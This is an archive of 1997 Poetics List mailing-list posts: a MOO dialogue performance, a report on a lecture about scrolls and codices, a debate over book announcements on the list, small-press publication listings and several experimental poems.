261. **Alan Jennifer Sondheim**
A Quiet Talk in Kyoto
Sun 11 May 1997

A Quiet Talk in Kyoto

---- No world ----

---- World hokusai ----

Welcome to Kyoto-MOO!

A moment of stillness just before the invention of radio. you are entering a world of speaking bodies; everyone is close at hand. If you reach out, you touch us with your bright thinking. Welcome to Kyoto!

Kyoto
an intense clearing, city-basin, distant humans, everywhere visible...
You see snow, Luminous Sign, and the City of Wind here.

---- World sotatsu ----

Yurt
hovel where Wizards hang, bones in front, skins behind
You see basin, human, lump, and stuff here.

You join Hokusai.

Kyoto
an intense clearing, city-basin, distant humans, everywhere visible...
You see snow, Luminous Sign, and the City of Wind here.

Hokusai is here.

You say, "Time when we are noticably weary, friend..."

---- World hokusai ----

Sotatsu teleports in.

Sotatsu says, "Time when we are noticably weary, friend..."

You say, "That is true, my friend; we are far gone, now, among these dark and dismal times..."

---- World sotatsu ----

Hokusai says, "That is true, my friend; we are far gone, now, among these dark and dismal times..."

You say, "And what can be done about these dreary nightmares in this empty space, friend Hokusai?"

---- World hokusai ----

Sotatsu says, "And what can be done about these dreary nightmares in this empty space, friend Hokusai?"

You say, "I do not know; to persevere among the scattered texts, broken dreams, lost avatars... O, Sotatsu, what will become of us?"

---- World sotatsu ----

Hokusai says, "I do not know; to persevere among the scattered texts, broken dreams, lost avatars... O, Sotatsu, what will become of us?"

You say, "We shall dwell here, in the houses of the Lords, forever, friend Hokusai, and we shall live, and learn..."

---- World hokusai ----

Sotatsu says, "We shall dwell here, in the houses of the Lords, forever, friend Hokusai, and we shall live, and learn..."

You say, "And, Sotatsu, what will that be, in this place of plum wine and Noh? For shall we ever live further..."

---- World sotatsu ----

Hokusai says, "And, Sotatsu, what will that be, in this place of plum wine and Noh? For shall we ever live further..."

You say, "Hush, Hokusai, there are things it is better not to know..."

---- World hokusai ----

Sotatsu says, "Hush, Hokusai, there are things it is better not to know..."

You say, "Ah, that is so true, my friend... let us sleep now, we are tired..."

---- World sotatsu ----

Hokusai says, "Ah, that is so true, my friend... let us sleep now, we are tired..."

You say, "True enough, friend Hokusai, we shall sleep, now and forever..."

---- World hokusai ----

Sotatsu says, "True enough, friend Hokusai, we shall sleep, now and forever..."

*** Disconnected ***
% Connection to hokusai closed by foreign host.

---- World sotatsu ----
You hear a quiet popping sound; Hokusai has disconnected.

*** Disconnected ***
% Connection to sotatsu closed by foreign host.

---- No world ----

↑ Index

262. **Pam Brown**
lunch to dinner
Sun 11 May 1997

Hello everyone -
"Woolf in _The Common Reader_: Forget that 'appalling narrative business of the realist: getting from lunch to dinner.'" says Woolf says Carole Maso

Not so appalling in "A Nest of Ninnies" and "What's For Dinner"

Oldies but goodies by John Ashbery and James Schuyler...

Best wishes,
Pam Brown

↑ Index

263. **Joel Lewis**
walter lowenfels
Sun 11 May 1997

---

i'm putting together a selected poems & prose of walter lowenfels (1897-1976), modernist running buddy of henry miller & later communist party poet who proclaimed himself a "proletarian surrealist" in middle of zhadanov social realism. anyone out there on list with any material relating to wlater--especially poems in little mags that may not have been collecetd -- his papers are at beineke, but have never been cataloged. especially looking for '74 issue of small press review which was a special lowenfels issue . please back channel if you have info

joel

****
JOEL LEWIS
[redacted]
>>>>>>>>>>>>>>>>>>>>>>>>>>>
SLEEP FASTER! WE NEED THE PILLOWS!
--- Yiddish aphorism
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

↑ Index

264. **IMBURGIA**
Re: what have I subscribed to?
Sun 11 May 1997

Daniel, and folks, i look fwd to the 'messages' about books etc. and would like them to continue, it keeps me somewhat informed about whats available, new, etc.. (by the way this is my first post to the list after yrs of lurking) best, dan

---
From: Daniel Tessitore[SMTP:[redacted]]
Sent: Monday, May 12, 1997 5:02 AM
To: [redacted]
Subject: what have I subscribed to?

These past few days I've seen more 'ads' for books, etc. than I've seen conversation. I'm not against people and presses, especially under-funded and under-read ones, attempting to gain some exposure, but that is not what I joined this list for; and even though it's poetry, it's still mail that I did not solicit.

If I am the only one who feels this way I'll shut up about it.

DT

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265. Nicole Markotic

Language Machines...

Mon 12 May 1997

Last week, Peter Stallybrass gave a talk entitled "Hands & Books: a materialist phenomenology of reading and writing" as part of his "The History of the Book" lecture series at UPenn. His focus on the materiality of the book is one that I believe speaks to the interest of many this listserv subscribers. So:
He began by speaking of the history of the codex - as opposed to the scroll - as being that of the history of bookmarks. Within this technological history is also the history of the hand in relation to the book, especially the relationship of the index in all its multiple senses. Stallybrass said that the transition from scroll to codex was a technological one that begat a _discontinuous_ reading strategy, rather than a _continuous_ one. For example, scrolls need to be held by both hands, whereas a lectern allows a reader to perform other activities (such as taking notes, etc.) while reading. Scrolls, requiring both hands, also require a very full physical participation. Scrolls also, for the most part, require continuous reading from beginning to end whereas a book (at least once read) can be marked and returned to. The physical proximity of reading event in a scroll is challenged by the ease with which one can move back and forth within a codex. Stallybrass says that "Christianity _cut up_ the Judaic scroll by means of the codex." (In the Christian Bible vs the Judaic Scroll, for example: "The story of the sacrifice of Isaac would thus be read less in terms of its proximate narratives in Genesis than as a prefiguration of the "son's" crucifixion." The Old Testament is thus "fulfilled" in the New Testament.) One of the most persistent uses of the book as a _machine_, says Stallybrass, is the emphasis on discontinuous historical and theological moments that the codex encourages. His talk centred around various religious paintings from Caravaggio to Rembrandt. In these, Stallybrass showed (through photocopies and slides) how paintings before the Cartesian moment displayed various versions of scholar/scribe painted with various lecterns, weights, fingers or ribbons marking pages, and using other "tools" to read/write. The materiality of the text was ever present in these depictions as the subject (St. Jerome, St. John, the Virgin Mary, etc.) holds scrolls, books, ink, and pens, listens to God or the Holy Spirit (often in the form of either a dove or a scroll from above), and is always shown marking _at least_ one other page than the one to which the book is opened. One of the modern myths of reading, says Stallybrass, is that of teleological narrative; that is, that "the book" is to be read from page 1 to page 2, and so on. Indeed, this

strategy of reading was encouraged by the development of narrative fiction in the 18th Century. Interestingly, Stallybrass suggests that after the Cartesian moment, images of the materiality of writing in the paintings, are effaced. There is no longer evidence of discontinuous reading; the finger as index drops away. The materiality become less important as emphasis in writing shifts to the _mind_ rather than the body.

Nicole Markotic

↑ Index

266. **Mark Weiss**

Re: Language Machines...

Mon 12 May 1997

Interesting. So Christians, by cutting up the old scroll and binding it in a book changed the reading habits of the one or two percent of the population that knew how to read pre-Gutenberg. Those masters at discontinuous reading, the Talmudic rabbis, must have had a miraculous dispensation. What does he make of clay tablets or inscriptions on walls? Maybe in the case of the latter the invention of the two-way street created a paradigm shift. God, I love ingenious hypotheses, especially if they're undemonstrable.

At 01:59 AM 5/12/97 -0400, you wrote:
> Last week, Peter Stallybrass gave a talk entitled "Hands &
>Books: a materialist phenomenology of reading and writing" as part of
>his "The History of the Book" lecture series at UPenn. His focus on
>the materiality of the book is one that I believe speaks to the interest
>of many this listserv subscribers. So:
> He began by speaking of the history of the codex - as opposed
>to the scroll - as being that of the history of bookmarks. Within this
>technological history is also the history of the hand in relation to the
>book, especially the relationship of the index in all its multiple senses.
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>technological one that begat a _discontinuous_ reading strategy, rather
>than a _continuous_ one. For example, scrolls need to be held by both
>hands, whereas a lectern allows a reader to perform other activities
>(such as taking notes, etc.) while reading. Scrolls, requiring both
>hands, also require a very full physical participation. Scrolls also, for
>the most part, require continuous reading from beginning to end
>whereas a book (at least once read) can be marked and returned to.
>The physical proximity of reading event in a scroll is challenged by
>the ease with which one can move back and forth within a codex.
> Stallybrass says that "Christianity _cut up_ the Judaic scroll

>by means of the codex." (In the Christian Bible vs the Judaic Scroll,
>for example: "The story of the sacrifice of Isaac would thus be read
>less in terms of its proximate narratives in Genesis than as a
>prefiguration of the "son's" crucifixion." The Old Testament is thus
>"fulfilled" in the New Testament.) One of the most persistent uses of
>the book as a _machine_, says Stallybrass, is the emphasis on
>discontinuous historical and theological moments that the codex
>encourages.
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>Caravaggio to Rembrandt. In these, Stallybrass showed (through
>photocopies and slides) how paintings before the Cartesian moment
>displayed various versions of scholar/scribe painted with various
>lecterns, weights, fingers or ribbons marking pages, and using other
>"tools" to read/write. The materiality of the text was ever present in
>these depictions as the subject (St. Jerome, St. John, the Virgin Mary,
>etc.) holds scrolls, books, ink, and pens, listens to God or the Holy
>Spirit (often in the form of either a dove or a scroll from above), and is
>always shown marking _at least_ one other page than the one to which
>the book is opened.
> One of the modern myths of reading, says Stallybrass, is that
>of teleological narrative; that is, that "the book" is to be read from
>page 1 to page 2, and so on. Indeed, this strategy of reading was
>encouraged by the development of narrative fiction in the 18th
>Century. Interestingly, Stallybrass suggests that after the Cartesian
>moment, images of the materiality of writing in the paintings, are
>effaced. There is no longer evidence of discontinuous reading; the
>finger as index drops away. The materiality become less important as
>emphasis in writing shifts to the _mind_ rather than the body.
>
>Nicole Markotic
>
>

↑ Index

267. Christine Palma
Poetics Listserv Birthdate
Mon 12 May 1997

Can anyone tell me when this list began?

-Christine

_____
christine palma
[redacted]

samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in every living room, a sculpture in every park, a sculpture in every body, cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics, mindoro, coincidence, encaustic, pedestrian's rights, sleep depriviation high, the moon . . .

↑ Index

268. Michael Boughn
Re: feathers to iron
Mon 12 May 1997

> *Mike Boughn's mention of _From Feathers to Iron_ passes me by -- Mike, which "Clarke" is the author, and can you say more about the book? (by backchannel if it had been identified to the list and I mist).*

From Feathers to Iron, A Concourse of World Poetics is the "transcription" of a series of four lectures John Clarke presented at New College in 1980, augmented with opious notes, including Jack's sonnets. The book was published by Tomboctou/Convivio in 1986. It's a wild, undescribable, brilliant trek through an historical grammar of poetic myth. Like nothing you've read before.

John Clarke was a friend and student of Charles Olson in Buffalo. Co-founder of the Institute of Further Studies, general editor of the Curriculum of the Soul, and editor during the last years of his life of _intent.: letter of talk, thinking and document_.

I think Steve Dickison may still have some Feathers. Shuffaloff books definitely does if anyone is interested ($14.00US). Clarke's last poems, _In the Anlogy, Books 1-7_, which move to realize the complex poetics of Feathers, were published by shuffaloff in February.

Mike

↑ Index

269. Kathleen Crown
PPS panels
Mon 12 May 1997

Did anyone attending PPS make it to the panels "Community and the Place of Poetry" (Ted Pearson, Ross Talarico, and ML Liebler), "Feminist Avant-Garde" (Cynthia Hogue, Elisabeth Frost, and Brian McHale), or "Close Encounters:

Thinking About Distribution" (Loss Glazier, Natalie Gerber, Patricia Willis)? I would appreciate hearing about the discussions in those panels, if anyone has the time and energy to report.

I did get away from the registration desk on Sunday morning, for Burton Hatlen's talk on "Neo-Objectivism." He outlined what seemed to me a very ambitious project--a new rubric for a group of poets in dialogue with Language poets but engaged (as an ethical demand) with particulars of experience, with a "real," sensual, & apprehensible world. The three poets he spoke of as exemplars of Neo-Objectivism were (all present at the conference) Michael Heller, Rachel Blau DuPlessis, and Armand Schwerner. Schwerner, by the way, gave a terrific reading Saturday night (as did Irena Klepfisz) that delighted the large, diverse audience, especially the hard-to-please New Jersey bar-poet crowd. This "After Hours" event was one of the highlights of the conference for me, although most of the professors had gone to bed by then. When the building closed down hours later, the poets (many students) took their work out on the street & performed impressive, politically engaged work.

I would also like to hear news of the "Diversity in Avant-Garde Publishing Panel" ...

KC

--
****

Kathleen Crown
Rutgers English and Women's Studies
Conference Co-Coordinator, "Poetry and the Public Sphere"
P.O. Box 5054
New Brunswick, NJ 08903-5054
H: 908/[redacted]
W: 908/[redacted]
Dept. Fax: 908/[redacted]
[redacted]
****

↑ Index

270. Maria Damon
Federman CD
Mon 12 May 1997

---

i just got my first installment of the 2/cd subscription to VOYS audiojournal, which is Raymond Federman's The Voice in the Closet, about having been shut up in a closet by parents in occupied france when Nazis came for family. very very powerful, highly recommended.

↑ Index

271. Mark Prejsnar
Re: epic redux
Mon 12 May 1997

The quote below's elequent and interesting and makes the point I've tried hesitently to make before (tho' it doesn't intend to)--a point no one else on the list agrees with...To wit, use of the academic term, epic, is inappropriate and useless and boring, for us, writing this many decades after so many stultified molds got swept to one side...I mean, the rescuing of potentially rejuvinating psychic material from the rimefrost of cliche, is the most worthy task I can think of,,,,,And what the hell has it got to do with epic specifically...Sounds to me like a definition of the poet's task, period..

Mark P
Atlanta

> *Now this little diddy to my mind sums up what epic is all about - not just that stuff about the "tale of the tribe" - but the rescuing of potentially rejuvenating or at least still powerful psychic material from the rimefrost of cliche. Its circularity and self-referentialty are "the story" - i.e. the*

↑ Index

272. Chris Stroffolino
WANTED: FORMATTER/PROOFREADER
Mon 12 May 1997

Hello--figured I'd use this list for something PRACTICAL....

I am looking for a proofreader/formatter fluent and/or familiar with Macintosh Computer and MLA FORMAT (will teach latter if not known) formatting devices to work specifically on "cleaning up" a draft of a dissertation (especially ENDNOTES, BIBLIOGRAPHY, CENTERING MARGINS OF "Set-off" texts, etc.--basic stuff, but not to a komputer klutz). ------ WILL PAY(!!!!) Amount is negotiable. It is not, however, a LOT of work (i.e. don't expect to LIVE off of it). I expect it tobe 15 hours of work MAX (to someone who KNOWS their stuff). Please backchannel if interested. Do so, please, before end of May (since I will probably no longer be on email by then). The work will take place in several small installments spread out over the summer. Project should end by early August. Email enquiries to [redacted] or phone me at [redacted] before may 31st..... thank you, chris stroffolino

↑ Index

273. Jordan Davis
New book by Steve Malmude
Mon 12 May 1997

I GOT TO KNOW

poems by Steve Malmude
48 pp., $10
Goodbye Books

> THE SURPRISE BRONZE
>
> If you open my book
> there has been a mistake
> it would be better
> if you read the newspaper
>
> the blind mother
> the welder father
> paying for the lessons
> the surprise bronze
>
> I picked up The Web
> And The Rock again
> the other day and
> it held up very well
>
> I have a question for you
> what the hell happened
> I see you around
> what's your story.
>
> --Steve Malmude

Malmude's poems have appeared in Sun, Lingo, O-blek, The World, and The Poetry Project Newsletter. This is his third collection.

To order, send email to [redacted].

Jordan Davis

↑ Index

274. acgold01
.
Mon 12 May 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

set poetics nomail

↑ Index

275. Daniel Tessitore
what have I subscribed to?
Mon 12 May 1997

These past few days I've seen more 'ads' for books, etc. than I've seen conversation. I'm not against people and presses, especially under-funded and under-read ones, attempting to gain some exposure, but that is not what I joined this list for; and even though it's poetry, it's still mail that I did not solicit.

If I am the only one who feels this way I'll shut up about it.

DT

↑ Index

276. acgold01
Nomail
Mon 12 May 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

Grovelling apologies. I'm sure that all 500+ of you were just desperate to know that I was setting poetics to nomail. But as my old pal Aldon kindly pointed out, one doesn't accomplish that (the setting) by sending the message to the Poetics list.

So having taken up your e-space with one "empty" message, I thought I'd just duplicate the gesture here . . .

Alan

↑ Index

277. groberts
the Prelude
Mon 12 May 1997

The question of the Prelude-as-epic might also need to take up WW's various uses of Paradise Lose. WW al-ludes to it all over the place, and at times seems to want to think of himself as Satan. Perhaps for WW, epic = sublime desire for an irrevocable position from which to claim the legitimacy of self-creation = failure and free-falling. WW outdoes Satan by dispensing with plotting (of

narratives of compensation) and instead playing with the fleeting but always renewable feeling of illegitimacy. (Different time as a result.)

The autobiographical epic is a giant serpentine water-slide which one can descend over and over again in order to make a splash in the pool of bathos.

Gary R

↑ Index

278. Bob Grumman
Re: poetry ads
Mon 12 May 1997

I sympathize with Daniel Tessitore about the ads though I like them
myself. To make them less intrusive, would it be possible to keep them
aside, then put into one posting once a week for the listing? I'm still
a novice at internetting so have no idea how much work this would be.
Or maybe someone could volunteer (not me, alas) to collect all the ads
for a month backchannel, and put them together weekly (or daily, or
whatever) for the rest of us. Eventually perhaps an ad-mail-off option
might be possible? That is, those not wishing to see the ads would not
be sent them. Seems to me something could be done. --Bob G
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> I joined this list for; and even though it's poetry, it's still mail that I
> did not solicit.
>
> If I am the only one who feels this way I'll shut up about it.
>
> DT

↑ Index

279. Charles Bernstein
Re: Birthdate // what have I subscribed to?
Mon 12 May 1997

> *Can anyone tell me when this list began?*

This was the first Poetics Message:

Date: Wed, 25 Aug 1993 14:55:05 -0400

From: Charles Bernstein

To: Multiple recipients of list POETICS <<[redacted]>

Subject: first flight

<color><param>0000,0000,ffff</param>Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

</color>

******

However, in the fall of 1993 we were still testing the list mostly locally in Buffalo and it became a national list in December 1993, with Peter Quatermain's announcement of the book launch for the <italic>Holy Forest</italic>.

##
#####

>>These past few days I've seen more 'ads' for books, etc. than I've seen

>conversation. I'm not against people and presses, especially under-funded

>and under-read ones, attempting to gain some exposure, but that is not what

>I joined this list for; and even though it's poetry, it's still mail that I

> *did not solicit.*

<color><param>ffff,0000,ffff</param>As our Welcome message makes clear (section 9) subscribing to the Poetics List </color><color><param>0000,0000,8080</param>is</color><color><param>ffff,0000,ffff</param> soliciting information on the poetry-related books, magazines, performances, reading series, conferences, and talks that participants are editing, coordinating, curating, or advocating. This is one of the fundamental purposes of the Poetics List and fully as important to our mutual exchanges as conversation about poetry. After a while, I hope you will see this as integral to the activity. From the first, it has seemed to those of us coordinating Poetics that the Intenet and this list in particular were ideally situated for exchange of often difficult-to-obtain poetry listings. There is no "other" space for this activity, and beyond that I actually find the listings posted here of great interest.

</color><color><param>ffff,0000,0000</param>In fact, this reminds me to make my (periodical) request to hear about publications in which list members

are involved. Please be sure to include full information on how to order any items mentioned.</color>

↑ Index

280. Rachel Loden
Re: poetry announcements
Mon 12 May 1997

Would hate to see the announcements (as I think of them) discouraged in any way--it's great to know what people are up to and as Bill Luoma once said or implied (correct me if I'm wrong, Bill) they are refreshingly straightforward public relations, unlike the more prevalent and more tortured sort.

Rachel Loden

Bob Grumman wrote:
>
> I sympathize with Daniel Tessitore about the ads though I like them
> myself. To make them less intrusive, would it be possible to keep them
> aside, then put into one posting once a week for the listing? I'm still
> a novice at internetting so have no idea how much work this would be.
> Or maybe someone could volunteer (not me, alas) to collect all the ads
> for a month backchannel, and put them together weekly (or daily, or
> whatever) for the rest of us. Eventually perhaps an ad-mail-off option
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> be sent them. Seems to me something could be done. --Bob G
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> > and under-read ones, attempting to gain some exposure, but that is not
what
> > I joined this list for; and even though it's poetry, it's still mail that I
> > did not solicit.
> >
> > If I am the only one who feels this way I'll shut up about it.
> >
> > DT

↑ Index

281. **Brent Long**
Re: poetry announcements
Mon 12 May 1997

I know that when I came to the East Coast, the announcements here were very helpful in allowing me to plan what I wanted to do in New York...I am glad to see them here.

↑ Index

282. **Piombino/Simon**
Re: what have I subscribed to?
Mon 12 May 1997

Very interesting conversation you've started here, and I entirely disagree with you. What else did you not want to talk about?On Mon, 12 May 1997, Daniel Tessitore wrote:

> *These past few days I've seen more 'ads' for books, etc. than I've seen conversation. I'm not against people and presses, especially under-funded and under-read ones, attempting to gain some exposure, but that is not what I joined this list for; and even though it's poetry, it's still mail that I did not solicit.*
>
> *If I am the only one who feels this way I'll shut up about it.*
>
> *DT*

↑ Index

283. **Gwyn McVay**
Re: Nomail
Mon 12 May 1997

A former list member has the opposite problem--went nomail, now wants to re-subscribe. Can some kind soul forward me the instructions & I'll pass them on?

Gwyn

↑ Index

284. **Christopher Reiner**
Publications Received
Mon 12 May 1997

Here are some recent publications from the Witz mailbox:

House Organ (Number 18, Spring 1997. Edited by Kenneth Warren. 1250 Belle Avenue, Lakewood, OH 44107. No price listed.) Work by William Sylvester, Skip Fox, Kenneth Irby, Clayton Eshleman, Jack Hirshman, Charlie Mehrhoff, Barbara Drake, Robert Buckeye, Cid Corman, Paul Pines, Martha King, Steve Lewandowski, Frank Sherlock, Robert Yagley, Stephen Ellis, Sean Casey, Joe Napora, Brian Richards, Kenneth Warren, Diane Der Hovanessian.

Ribot (No. 4, 1996. Edited by Paul Vangelisti. Available from Consortium Book Distribution, 1045 Westgate Drive, St. Paul, MN 55114-1065. No price listed, but I think it's around $10.) 144 pages of work by 57 writers.

Shadows: New & Selected Dialogues on Poetics (by Mark Wallace and Jefferson Hansen. A special issue of Poetic Briefs. Editors: Elizabeth Burns & Jefferson Hansen, 4055 Yosemite Avenue S, St. Louis Park, MN 55416.) I'm proud to say that one of these dialogues first appeared in Witz.

No. 111 2.7.93 - 10.20.96 (By Kenneth Goldsmith. The Figures, 5 Castle Hill, Great Barrington, MA 01230 or Small Press Distribution, 1814 San Pablo Ave., Berkeley, CA 94702. $17.50.) "In Kenneth Goldsmith's 'useless encyclopedic reference book,' *Oulipo* brilliantly meets the Millenium. The text adheres strictly to its chosen rules: all the phrases collected between February 7, 1993 and October 20, 1996 end in sounds related to the sound "R" and they are organized alphabetically by syllable-count beginning with one syllable entries for Chapter 1...and ending with a 7,228 syllable tour de force of astonishing proportions..." --Marjorie Perloff

Sculpture (By Stephen Ratcliffe. Littoral Books, 1996. Distributed by Sun & Moon Press, 6026 Wilshire Blvd., Los Angeles CA 90036.) "In its four evenly measured sections, the meaningsof Sculpture accumulate like the verdigris of weather on sculptural work, leaving the piece itself altered by the very matter of which it is made." --Martha Ronk

Blue Horitals (By John Clarke and Daniel Zimmerman. Oasii: Amman, Jordan. No address for publisher. No price listed. No distributor listed.)

Misc. Proj. (Edited by Mark Prejsnar, 641 N. Highland Ave. NE, #11, Atlanta GA 30306. 4 issues for $3.50) Work by Pedro Corte, Ell Perlmutter, Cal Taubman, Mark Prejsnar.

↑ Index

285. Kenneth W Sherwood
Scrolling toward bookmark.html
Tue 13 May 1997

Just to add that the 'cutting-up' of the scrolls, if indeed a shift to discontinuous reading (and most folk were hearing their scrolls and early books) pertains only

to a particular European tradition. Mayans, for example, would appear to have went right from stone material to a form of so-called CODEX (though it folds outwards, is not bound along one edge). Keith Smith's _Text in Book Format_ gives a good run-down on codex, oriental fold, venetian blind, and fan format books.

As with work like Jack Goody's--which contends that the 'list' marks a shift towards literacy and consequent development of the analytic mind--such culturally global theories are usually pretty dicey, if also fascinating.

Recall, also, that early European manuscripts didn't divide language into sentences andactuallyranallthewordstogetherwithoutobservingboundariestalk aboutcontinuityanddiscontinuityWherewasthewordassuchthen?

Ken Sherwood

↑ Index

286. **David Israel**

Re: Scrolling toward bookmark.html

Tue 13 May 1997

---

quoth Ken Sherwood:

<< . . .Recall, also, that early European manuscripts didn't divide language into sentences aboutcontinuityanddiscontinuityWherewasthewordassuchthen? >>

(as perhaps I've remarked in other context), such was the case w/ Chinese poetry (& scripture) -- though the words are distinct, but no line breaks or punctuation, just starting from word A down thru word Z (running top to bottom of line, right to left of page) -- but most books of poetry seem to give the individual poem it's own start-line (i.e., starting afresh at the top of the page), and also tend to set off a poem-title, and sometimes some fore-notes or after-notes, too . . . --

late-night on that curious cable TV channel that's given over to classical music (usually -- typically music videos of Beethovan, et alia), and occasionally some dance or other art stuff, -- day or two ago, I caught a program of David Hockney expounding on some Chinese handscroll paintings -- alas, the exposition was too brief, but what scrolls they were! -- one depicting the visit of the Emperor to a certain region, sailing his barge down the River -- & the length of the scroll showed all the little houses (etc.), w/ folk preparing for the august event . . . Hockney gave some nice sense of the handscroll form & it's special modes of continuity . . .

the email msg. scroll follows that
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and the scrolling
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separating pages
& the openened continuation
being peculaiar "spacial" features

how very spacial
d.i.

↑ Index

287. Alan Jennifer Sondheim
Boy-Command (fwd)
Tue 13 May 1997

-

{k:15} random -r 100 < js > zz
{k:16} pico zz

Boy was the holy purity of death, Anne's picture by my bedside; what I desired then I would have died with her, I would have saved her; my life:
</SCRIPT>
You see basin, human, lump, and stuff here.
Jennifer9 = new Jennifer("fallen", "inhale", "spurt", "exhale ", "portend ");
if (J == 2):
mother he would be a lot kinder!!)
the scoured removes inscriptions, efface. or that it never was. there is:
My Bones!

↑ Index

288. Pam Brown
ads
Tue 13 May 1997

Dan Salmon said -
"
On the other side of the world my life would be the poorer without this heralding of what is available. Sometimes these advertisements can spark of discussions of their advertised texts."

On the same side of the world I can only agree - and add that I've bought books advertised on the Poetics list and tapes listed via Laura Moriarty as well.... I doubt that I'd have found some of these things had I never subscribed to Poetics...and I was relieved to see Charles Bernstein's post reminding listees of the purpose...

Bye for now
Pam Brown
Sydneysider

↑ Index

289. **DS**
Re: what have I subscribed to?
Tue 13 May 1997

On the other side of the world my life would be the poorer without this heralding of what is available. Sometimes these advertisements can spark of discussions of their advertised texts.

Keepem coming

At 12:02 PM 5/12/97 +-900, you wrote:
>These past few days I've seen more 'ads' for books, etc. than I've seen
>conversation. I'm not against people and presses, especially under-funded
>and under-read ones, attempting to gain some exposure, but that is not what
>I joined this list for; and even though it's poetry, it's still mail that I
>did not solicit.
>
>If I am the only one who feels this way I'll shut up about it.
>
>DT
>
>

↑ Index

290. **CHRIS MANN**
Re: Scrolling toward bookmark.html
Tue 13 May 1997

---

punctuations derived in part from music notation. something like the mirror/twin of zero which went from sanscrit into maths. hence exegesis, whence criticism, this being my argument for ads and their maintenance

↑ Index

291. **Daniel Zimmerman**
Re: poetry announcements
Tue 13 May 1997

Rachel Loden wrote:
>
> Would hate to see the announcements (as I think of them) discouraged in
> any way--it's great to know what people are up to and as Bill Luoma once
> said or implied (correct me if I'm wrong, Bill) they are refreshingly
> straightforward public relations, unlike the more prevalent and more
> tortured sort.

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> Rachel Loden
>
> Bob Grumman wrote:
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> > > did not solicit.
> > >
> > > If I am the only one who feels this way I'll shut up about it.
> > >
> > > DT

I agree with Rachel and Nick on this: one can hardly consider these announcements spamming! If anything, we should rejoice that what the community which keeps this list vital discusses bears some fruit beyond the (sorry) occasionally abstruse but (honest) usually fascinating and incisive perorations anent form/content, the social(?) construction of the 'individual,' etc. If anything deserves reconsideration, I'd exempt announcements of production and raise an eyebrow at the incrowd needling palaver between chums--but hey, I enjoy that, too! Remember Allen? More announcements! More angelic chatter! More dustclouds of poetic arcana a la the recent gossip session celebrations at St. Mark's 30th anniversary celebration! More Martian Spiceresque graffiti! Sarabands of sarcasm! Plethoras of product promotions profiting whom? Inky Charles at Chax? Billionaire Boughn at shuffaloff? Kick ass! Take names! Expose the imperialist warmongers! Jesus! (What was that address? What price postage? Can I get a discount if I send a poem?

No blame.
Aloha.
Shantih.
Dan Zimmerman

↑ Index

292. **Daniel Zimmerman**
Re: Publications Received
Tue 13 May 1997

Christopher Reiner wrote:
>
> Here are some recent publications from the Witz mailbox:
>
> House Organ (Number 18, Spring 1997. Edited by Kenneth Warren. 1250
> Belle Avenue, Lakewood, OH 44107. No price listed.) Work by William
> Sylvester, Skip Fox, Kenneth Irby, Clayton Eshleman, Jack Hirshman,
> Charlie Mehrhoff, Barbara Drake, Robert Buckeye, Cid Corman, Paul Pines,
> Martha King, Steve Lewandowski, Frank Sherlock, Robert Yagley, Stephen
> Ellis, Sean Casey, Joe Napora, Brian Richards, Kenneth Warren, Diane Der
> Hovanessian.
>
> Ribot (No. 4, 1996. Edited by Paul Vangelisti. Available from
> Consortium Book Distribution, 1045 Westgate Drive, St. Paul, MN
> 55114-1065. No price listed, but I think it's around $10.) 144 pages of
> work by 57 writers.
>
> Shadows: New & Selected Dialogues on Poetics (by Mark Wallace and
> Jefferson Hansen. A special issue of Poetic Briefs. Editors: Elizabeth
> Burns & Jefferson Hansen, 4055 Yosemite Avenue S, St. Louis Park, MN
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> Witz.
>
> No. 111 2.7.93 - 10.20.96 (By Kenneth Goldsmith. The Figures, 5 Castle
> Hill, Great Barrington, MA 01230 or Small Press Distribution, 1814 San
> Pablo Ave., Berkeley, CA 94702. $17.50.) "In Kenneth Goldsmith's
> 'useless encyclopedic reference book,' *Oulipo* brilliantly meets the
> Millenium. The text adheres strictly to its chosen rules: all the
> phrases collected between February 7, 1993 and October 20, 1996 end in
> sounds related to the sound "R" and they are organized alphabetically by
> syllable-count beginning with one syllable entries for Chapter 1...and
> ending with a 7,228 syllable tour de force of astonishing proportions..."

> --Marjorie Perloff
>
> Sculpture (By Stephen Ratcliffe. Littoral Books, 1996. Distributed by
> Sun & Moon Press, 6026 Wilshire Blvd., Los Angeles CA 90036.) "In its
> four evenly measured sections, the meaningsof Sculpture accumulate like
> the verdigris of weather on sculptural work, leaving the piece itself
> altered by the very matter of which it is made." --Martha Ronk
>
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> listed.)
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> Perlmutter, Cal Taubman, Mark Prejsnar.

RE: Blue Horitals

John Clarke and Daniel Zimmerman's Blue Horitals (Amman, Jordan: Oasii, 1997): No distributor yet. For now, $6.00 from Daniel Zimmerman, 485 Parsonage Road, Edison, NJ 08837. Make check out to Daniel Zimmerman.

↑ Index

293. Ryan Whyte
1967 the summer of love/the summer of hate 1997
Tue 13 May 1997

1997 the summer of hate/the summer of love 1967

time itself is the opportunity clatter
creeps poison alongside
the internal violation which require
enthrallment part of the agreement

time itself is after the fact
which would die for itself alongside
antidote answering to magnetic striations
upsurge phylogenetic suspect waves

SHOW ME 1997 IS THE SUMMER OF THE EXHAUSTION OF THE MOST ANCIENT GLACIER BECOMING THE PUREST RIVER OF THE WATER OF ALL IMAGES CLEAR AS CRYSTAL PROCEEDING OUT OF THE THRONE OF GOD AND OF THE LAMB

time itself issues from her pores
left alone to masturbate not infrequently

for this summer engaging the blockbuster
surplus repression heat trembles

time itself then breaks for this
summer which spring promises the social
contract under aegis hair blanket
bought with blood unseen in waves

↑ Index

294. **Daniel Zimmerman**
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> Perlmutter, Cal Taubman, Mark Prejsnar.

Thanks, Chris.

Re: John Clarke and Daniel Zimmerman's BLUE HORITALS (Amman, Jordan: Oasii, 1997). No distributor yet; for now, available for $6.00 from Dan Zimmerman, 485 Parsonage Road, Edison, NJ 08837. Make check out to Dan Zimmerman.

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> Dan Zimmerman, 485 Parsonage Road, Edison, NJ 08837. Make check out
> to Dan Zimmerman.

Ah! I seem to have sent theis message twice--sorry! Just before I clicked onj Send, I got a Divide by Zero message cascade & had to log off, so I thought the message killed. [A caveat, I guess, to wait a while if this happens, to see whether the message comes back--but I wanted to get to bed...]. DZ

↑ Index

296. Robert Archambeau
Re: the Prelude
Tue 13 May 1997

